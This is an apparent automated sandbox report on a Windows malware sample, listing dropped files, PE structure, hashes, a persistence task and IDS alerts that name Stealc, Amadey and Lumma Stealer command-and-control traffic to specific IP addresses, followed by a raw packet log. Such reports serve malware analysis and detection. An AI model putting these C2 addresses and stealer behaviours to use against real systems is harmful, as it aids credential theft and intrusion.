SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Reputation:	unknown
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\DocumentsHDGCAAFBFB.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1925632
Entropy (8bit):	7.9493353469198755
Encrypted:	false
SSDEEP:	49152:HtFr02btiDdtfmHnzQz6084x/zk+2liU0up:H3rvUfmHzQe0r2liRup
MD5:	542EE57C01AF5BE82D6F8CE3D1D9330F
SHA1:	0219E3B1C42045F73A41E977B02625C528321826
SHA-256:	D1B6E19A825BDEEEF8425C5FF8B5872744155213F66D251D20D0BB4F4CCA57CE
SHA-512:	2B8C9D6B5F496C889BB517F556CA786B2C7325F2A669B2B59ACE5FCF0E3CBDDE38BBC223A92B7CA9AF2388A43D97C392911E4A1D4D386F41295B19A935A29811
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 53%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. L...........@..........................PL...........@.................................W...k.......H...................D.K...............................K..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..+.........................@...lcjijwvn.P....1..D..................@...ecvanuxr......L......:..............@....taggant.0... L.."...@..............@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsHDGCAAFBFB.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.4462254358619857
Encrypted:	false
SSDEEP:	6:1AhwMXUhXUEZ+lX1CGdKUe6tE9+AQy0lB3llmct0:1AhwW4Q1CGAFD9+nVB3uct0
MD5:	E526A4B3F77FF8548189AB079041D399
SHA1:	3E88CEA1F1CA33CA357213E3F9FC2D604410FACD
SHA-256:	1D0E86D4BE5790B9A73F378AFEEF32A7641F113740CC6172ECD40A9296AB1787
SHA-512:	A36662F639EDF2F39C0680B210F222282B7E552D27D9A977D3F9791B6F049AF4A5A9B7D165A228848C46A0B80C72388EEF03AFA937323E3B734295828BA70A27
Malicious:	false
Reputation:	unknown
Preview:	........p.H......*F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.944196362419457
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'826'816 bytes
MD5:	85de022b435230944001f8a62983e321
SHA1:	ee965e33549079d677a5a77e53f6e6809f614e57
SHA256:	d8a50d07f528de1a2888c9f0f713a1f61ebdda5e1a3747df5306f9a6b59feeb0
SHA512:	6b8f9ce5f820027439a89c3dcc53a53003416efa16339086e372f99ac1205c602692311abe1b10df4d5c1da29f5efb5298f714781d1ae573c0d3ef2e601b864b
SSDEEP:	49152:FKTcV2ayH1rh/iJ3A374j1+r1KCfDI/mLyF:FKg419/uw37e1G1VLIeL
TLSH:	3A853327CC1A39D5CEC6333B06A1DD92537D59C2D6AB9EFB8501467B5E9820817C0A1F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa9e000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F6BC881F73Ah
movsx ebx, byte ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	7faf54bfcb82694665474085ca9caadd	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1ac	0x200	d98fb6b6199aeba16bafae4210d6c4e2	False	0.583984375	data	4.564693051970407	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2ac000	0x200	c13fdacd8d74642bcffa6c6f1c64a992	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
cyeoavrb	0x4f8000	0x1a5000	0x1a4200	a73d1b8abad729412b610f731cf1782c	False	0.9948083252752157	data	7.953762189184961	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
yqyctdil	0x69d000	0x1000	0x400	85e2675ebd0e942e6b7b1a8e913d8cef	False	0.7412109375	data	5.842625319921331	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x69e000	0x3000	0x2200	ac41a67eb9e4ee349764953ac67ebde4	False	0.041015625	DOS executable (COM)	0.36410128786742835	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69bef4	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-19T01:01:20.134386+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49736	185.215.113.206	80	TCP
2024-11-19T01:01:20.425683+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49736	185.215.113.206	80	TCP
2024-11-19T01:01:20.456882+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49736	TCP
2024-11-19T01:01:20.735751+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49736	185.215.113.206	80	TCP
2024-11-19T01:01:20.742773+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49736	TCP
2024-11-19T01:01:22.723894+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49736	185.215.113.206	80	TCP
2024-11-19T01:01:23.646959+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49736	185.215.113.206	80	TCP
2024-11-19T01:01:43.305911+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49889	185.215.113.206	80	TCP
2024-11-19T01:01:44.609092+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49889	185.215.113.206	80	TCP
2024-11-19T01:01:45.361242+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49889	185.215.113.206	80	TCP
2024-11-19T01:01:46.412306+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49889	185.215.113.206	80	TCP
2024-11-19T01:02:02.507669+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	50072	185.215.113.206	80	TCP
2024-11-19T01:02:04.436997+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	50072	185.215.113.206	80	TCP
2024-11-19T01:02:08.819117+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	50105	185.215.113.16	80	TCP
2024-11-19T01:02:22.642221+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	50112	185.215.113.43	80	TCP
2024-11-19T01:02:25.960428+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50114	31.41.244.11	80	TCP
2024-11-19T01:02:32.870267+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	50113	TCP
2024-11-19T01:02:33.788900+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50116	185.215.113.43	80	TCP
2024-11-19T01:02:34.709982+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50117	185.215.113.16	80	TCP
2024-11-19T01:02:39.015191+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50120	185.215.113.43	80	TCP
2024-11-19T01:02:39.204859+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50121	188.114.96.3	443	TCP
2024-11-19T01:02:39.761049+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50121	188.114.96.3	443	TCP
2024-11-19T01:02:39.761049+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50121	188.114.96.3	443	TCP
2024-11-19T01:02:39.962060+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50124	185.215.113.16	80	TCP
2024-11-19T01:02:40.546036+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50127	188.114.96.3	443	TCP
2024-11-19T01:02:41.059197+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50127	188.114.96.3	443	TCP
2024-11-19T01:02:41.059197+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50127	188.114.96.3	443	TCP
2024-11-19T01:02:42.120774+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50130	188.114.96.3	443	TCP
2024-11-19T01:02:43.925710+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50133	188.114.96.3	443	TCP
2024-11-19T01:02:44.958262+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	50133	188.114.96.3	443	TCP
2024-11-19T01:02:46.080535+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50134	188.114.96.3	443	TCP
2024-11-19T01:02:48.020472+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50135	188.114.96.3	443	TCP
2024-11-19T01:02:49.884015+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50139	188.114.96.3	443	TCP
2024-11-19T01:02:49.909124+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.6	50139	188.114.96.3	443	TCP
2024-11-19T01:02:55.490112+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50140	188.114.96.3	443	TCP
2024-11-19T01:02:56.128119+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50141	188.114.96.3	443	TCP
2024-11-19T01:02:56.137437+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50140	188.114.96.3	443	TCP
2024-11-19T01:02:56.137437+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50140	188.114.96.3	443	TCP
2024-11-19T01:02:56.680954+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50141	188.114.96.3	443	TCP
2024-11-19T01:02:56.969820+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50142	188.114.96.3	443	TCP
2024-11-19T01:02:57.458635+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50142	188.114.96.3	443	TCP
2024-11-19T01:02:57.458635+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50142	188.114.96.3	443	TCP
2024-11-19T01:02:57.519071+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50143	185.215.113.43	80	TCP
2024-11-19T01:02:57.831575+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	50144	185.215.113.16	80	TCP
2024-11-19T01:02:59.211113+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50145	185.215.113.206	80	TCP
2024-11-19T01:02:59.211506+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50146	185.215.113.16	80	TCP
2024-11-19T01:02:59.219291+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50147	188.114.96.3	443	TCP
2024-11-19T01:03:01.240296+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50148	188.114.96.3	443	TCP
2024-11-19T01:03:02.920386+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50149	185.215.113.43	80	TCP
2024-11-19T01:03:03.881924+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50150	185.215.113.16	80	TCP
2024-11-19T01:03:05.229400+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50151	188.114.96.3	443	TCP
2024-11-19T01:03:07.690036+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50152	188.114.96.3	443	TCP
2024-11-19T01:03:08.383040+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50152	188.114.96.3	443	TCP
2024-11-19T01:03:08.383040+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50152	188.114.96.3	443	TCP
2024-11-19T01:03:08.763721+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50153	185.215.113.43	80	TCP
2024-11-19T01:03:09.772868+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50156	188.114.96.3	443	TCP
2024-11-19T01:03:10.152647+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50156	188.114.96.3	443	TCP
2024-11-19T01:03:10.152647+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50156	188.114.96.3	443	TCP
2024-11-19T01:03:12.360478+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50160	188.114.96.3	443	TCP
2024-11-19T01:03:12.923341+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50161	188.114.96.3	443	TCP
2024-11-19T01:03:16.202435+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50169	188.114.96.3	443	TCP
2024-11-19T01:03:16.343292+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50171	188.114.96.3	443	TCP
2024-11-19T01:03:16.357610+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	50171	188.114.96.3	443	TCP
2024-11-19T01:03:16.357610+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.6	50171	188.114.96.3	443	TCP
2024-11-19T01:03:17.601997+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50173	185.215.113.206	80	TCP
2024-11-19T01:03:20.406831+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50189	188.114.96.3	443	TCP
2024-11-19T01:03:20.609800+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50190	188.114.96.3	443	TCP
2024-11-19T01:03:20.775069+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50189	188.114.96.3	443	TCP
2024-11-19T01:03:21.699292+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	50196	185.215.113.16	80	TCP
2024-11-19T01:03:24.219389+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50210	188.114.96.3	443	TCP
2024-11-19T01:03:26.457709+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50219	185.215.113.206	80	TCP
2024-11-19T01:03:28.072680+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50224	188.114.96.3	443	TCP
2024-11-19T01:03:28.077844+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.6	50224	188.114.96.3	443	TCP
2024-11-19T01:03:31.314286+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50235	188.114.96.3	443	TCP
2024-11-19T01:03:31.783593+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50235	188.114.96.3	443	TCP
2024-11-19T01:03:32.700727+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	50239	185.215.113.16	80	TCP
2024-11-19T01:03:44.724489+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	50280	TCP
2024-11-19T01:03:49.091786+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50285	185.215.113.43	80	TCP
2024-11-19T01:05:45.096590+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	64271	52.168.117.173	443	TCP
2024-11-19T01:06:07.554676+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	64281	20.50.73.4	443	TCP
2024-11-19T01:06:46.433904+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	64308	52.182.143.212	443	TCP
2024-11-19T01:08:01.703177+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	64339	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 19, 2024 01:01:09.629995108 CET	49673	443	192.168.2.6	173.222.162.64
Nov 19, 2024 01:01:09.801884890 CET	49674	443	192.168.2.6	173.222.162.64
Nov 19, 2024 01:01:09.801928043 CET	49672	443	192.168.2.6	173.222.162.64
Nov 19, 2024 01:01:10.064284086 CET	443	49709	40.115.3.253	192.168.2.6
Nov 19, 2024 01:01:10.064476967 CET	49709	443	192.168.2.6	40.115.3.253
Nov 19, 2024 01:01:10.071023941 CET	49709	443	192.168.2.6	40.115.3.253
Nov 19, 2024 01:01:10.071031094 CET	443	49709	40.115.3.253	192.168.2.6
Nov 19, 2024 01:01:10.071418047 CET	443	49709	40.115.3.253	192.168.2.6
Nov 19, 2024 01:01:10.101567030 CET	49709	443	192.168.2.6	40.115.3.253
Nov 19, 2024 01:01:10.101640940 CET	49709	443	192.168.2.6	40.115.3.253
Nov 19, 2024 01:01:10.101646900 CET	443	49709	40.115.3.253	192.168.2.6
Nov 19, 2024 01:01:10.101784945 CET	49709	443	192.168.2.6	40.115.3.253
Nov 19, 2024 01:01:10.143332958 CET	443	49709	40.115.3.253	192.168.2.6
Nov 19, 2024 01:01:10.351430893 CET	443	49709	40.115.3.253	192.168.2.6
Nov 19, 2024 01:01:10.359611988 CET	49709	443	192.168.2.6	40.115.3.253
Nov 19, 2024 01:01:10.359628916 CET	443	49709	40.115.3.253	192.168.2.6
Nov 19, 2024 01:01:10.359648943 CET	49709	443	192.168.2.6	40.115.3.253
Nov 19, 2024 01:01:10.359720945 CET	49709	443	192.168.2.6	40.115.3.253
Nov 19, 2024 01:01:12.011101007 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:12.011138916 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:12.011233091 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:12.011729002 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:12.011745930 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.014350891 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.014517069 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.018280983 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.018291950 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.018682003 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.030643940 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.075336933 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.258605003 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.258635044 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.258654118 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.258763075 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.258783102 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.258812904 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.258830070 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.289793968 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.289841890 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.289938927 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.289947033 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.289988041 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.290076017 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.377383947 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.377428055 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.377477884 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.377486944 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.377527952 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.377554893 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.407243013 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.407290936 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.407337904 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.407370090 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.407399893 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.407428980 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.408607006 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.408649921 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.408704996 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.408711910 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.408760071 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.408855915 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.494565964 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.494611979 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.494656086 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.494673967 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.494707108 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.494801998 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.495481014 CET	443	49710	13.107.246.45	192.168.2.6
